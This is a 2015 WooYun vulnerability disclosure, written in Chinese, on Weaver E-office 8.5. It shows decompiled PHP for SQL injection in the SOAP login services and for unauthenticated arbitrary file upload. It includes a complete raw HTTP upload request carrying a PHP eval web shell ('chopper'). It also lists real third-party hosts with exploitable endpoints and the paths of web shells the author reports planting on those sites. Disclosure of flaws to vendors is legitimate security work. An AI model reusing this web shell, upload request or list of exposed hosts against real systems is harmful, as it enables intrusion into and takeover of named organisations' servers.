当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125282

漏洞标题:泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传

相关厂商:泛微E-office

漏洞作者: menmen519

提交时间:2015-07-10 10:31

修复时间:2015-10-08 11:52

公开时间:2015-10-08 11:52

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向第三方安全合作伙伴开放
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传,不是为了刷漏洞,临睡前顺带又看了看其他目录,发现还有余孽,一并提交

详细说明:

看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码
经过一阵子的翻阅,发现和webservice 并行的目录也存在越权行为,代码结构类似:

1.png


第一个目录
webservice-json/login/login.wsdl.php:

function UserLogin( $UserName, $Password )
{
$loginStatus = array( );
if ( trim( $UserName ) == "" )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名为空";
return $loginStatus;
}
$user = new user( );
if ( $user->CheckUserAccount( $UserName ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名不存在";
return $loginStatus;
}
$userID = $user->getUserIDByUserAccount( $UserName );
if ( $user->checkOldPassword( $userID, $Password ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "密码错误";
return $loginStatus;
}
global $connection;
$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";
$cursor = exequery( $connection, $query );
$ROW = mysql_fetch_array( $cursor );
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
exequery( $connection, $query );
session_start( );
$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
$loginStatus['status'] = "true";
$loginStatus['infor'] = $ROW['USER_ID'];
$loginStatus['session_key'] = session_id( );
return $loginStatus;
}
function UserIDLogin( $UserId )
{
global $connection;
$infor = array( );
$sql = "SELECT COUNT(*) FROM USER WHERE USER_ID='".$UserId."'";
$cursor = exequery( $connection, $sql );
if ( $ROW = mysql_fetch_array( $cursor ) )
{
$count = $ROW[0];
}
if ( 0 < $count )
{
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$UserId."'";
exequery( $connection, $query );
session_start( );
$infor['session_key'] = session_id( );
$infor['status'] = "true";
}
else
{
$infor['status'] = "false";
$infor['session_key'] = "";
}
return $infor;
}
function GetCurrentInformation( $UserId )
{
global $connection;
$infor = array( );
if ( $UserId != "" )
{
global $connection;
$user = new user( );
$sql = "SELECT * FROM USER WHERE USER_ID='".$UserId."'";
$result = exequery( $connection, $sql );
if ( $row = mysql_fetch_assoc( $result ) )
{
$infor = $row;
$priv = $row['USER_PRIV']( $row['USER_PRIV'] );
$infor['priv_name'] = $priv['PRIV_NAME'];
$dept = $row['DEPT_ID']( $row['DEPT_ID'] );
$infor['dept_name'] = $dept['DEPT_NAME'];
$infor['check'] = "true";
if ( $row['USER_STATUS'] == "1" )
{
$infor['status'] = "在职";
}
else
{
if ( $row['USER_STATUS'] == "2" )
{
$infor['status'] = "离职";
}
}
}
}
else
{
$infor['check'] = "false";
}
return json_encode( $infor );
}
include_once( "nusoap/lib/nusoap.php" );
include_once( "api/user.class.php" );
include_once( "inc/conn.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );
$server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";
$server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );
$server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );
$server->wsdl->addComplexType( "IDcheck", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );
$server->register( "UserIDLogin", array( "UserId" => "xsd:string" ), array( "return" => "tns:IDcheck" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserIDLogin", "rpc", "encoded", "UserIDLogin" );
$server->register( "GetCurrentInformation", array( "UserId" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#GetCurrentInformation", "rpc", "encoded", "GetCurrentInformation" );
$server->service( $HTTP_RAW_POST_DATA );
?>


代码结构,风格都一样,漏洞请参照
http://www.wooyun.org/bugs/wooyun-2015-0125281/trace/288315217e38c991a819ae7415cd1926
webservice-json/upload/upload.php:

include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>


漏洞参照:
http://www.wooyun.org/bugs/wooyun-2015-0125265/trace/efd66a6faa58a6bf64582d7de9f26b1b
同理:
webservice-xml/login/login.wsdl.php
webservice-xml/upload/upload.php
内容一样 原理同上
这里证明一下这些文件在最新的e-office 存在即可
http://oa.sccm.cn/webservice-xml/login/login.wsdl.php
http://oa.vma.cn/webservice-xml/login/login.wsdl.php
http://eoffice.sccm.cn/webservice-xml/login/login.wsdl.php
http://eoffice8.weaver.cn:8028/webservice-xml/login/login.wsdl.php
http://oa.sccm.cn/webservice-xml/upload/upload.php
http://oa.vma.cn/webservice-xml/upload/upload.php
http://eoffice.sccm.cn/webservice-xml/upload/upload.php
http://eoffice8.weaver.cn:8028/webservice-xml/upload/upload.php
http://oa.sccm.cn/webservice-json/upload/upload.php
http://oa.vma.cn/webservice-json/upload/upload.php
http://eoffice.sccm.cn/webservice-json/upload/upload.php
http://eoffice8.weaver.cn:8028/webservice-json/upload/upload.php
看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码
webservice/login/login.wsdl.php?wsdl:

function UserLogin( $UserName, $Password )
{
$loginStatus = array( );
if ( trim( $UserName ) == "" )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名为空";
return $loginStatus;
}
$user = new user( );
if ( $user->CheckUserAccount( $UserName ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "用户名不存在";
return $loginStatus;
}
$userID = $user->getUserIDByUserAccount( $UserName );
if ( $user->checkOldPassword( $userID, $Password ) == false )
{
$loginStatus['status'] = "false";
$loginStatus['infor'] = "密码错误";
return $loginStatus;
}
global $connection;
$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";
$cursor = exequery( $connection, $query );
$ROW = mysql_fetch_array( $cursor );
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
exequery( $connection, $query );
session_start( );
$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
$loginStatus['status'] = "true";
$loginStatus['infor'] = $ROW['USER_ID'];
return $loginStatus;
}
include_once( "nusoap/lib/nusoap.php" );
include_once( "api/user.class.php" );
include_once( "inc/conn.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );
$server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";
$server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ) ) );
$server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );
$server->service( $HTTP_RAW_POST_DATA );
?>


http://eoffice.sccm.cn/webservice/login/login.wsdl.php?wsdl
这个文件也没有进行任何auth验证:

8.png


我们访问:
http://eoffice.sccm.cn/attachment/1.php
原理都相同,不多赘述
http://oa.sccm.cn//webservice/eoffice.wsdl.php?wsdl
http://oa.vma.cn/webservice/eoffice.wsdl.php?wsdl
http://eoffice.sccm.cn/webservice/eoffice.wsdl.php?wsdl
http://eoffice8.weaver.cn:8028/webservice/eoffice.wsdl.php?wsdl
任意文件上传:
下来看代码:
webservice/upload.php

include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}


文件上传条件:
1.无需登录
2.文件的路径为attachment/$attachmentID 这里的$attachmentID 会被回显过来
3.无需后缀验证
发送如下请求:
POST /webservice/upload.php HTTP/1.1
Host: eoffice.sccm.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------74141544123431
Content-Length: 818
-----------------------------74141544123431
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();@eval($_POST['chopper']);?>
-----------------------------74141544123431--

2.png


shell

3.png


案例:
http://oa.sccm.cn/
http://oa.vma.cn/attachment/2754969047/wooyun.php
http://eoffice.sccm.cn/attachment/2070630318/wooyun.php
eoffice8.weaver.cn:8028/attachment/1002074664/wooyun.php
其中最后一个官网设置了目录访问权限,所以不能访问那个文件但是文件已经上传上去了,这种情况,如果有特殊说明,必须告知用户,否则后果很严重
第二处:
webservice/upload/upload.php:

include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>


代码很相似,绕一下逻辑即可,原理就不用解释了

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-10 11:50

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无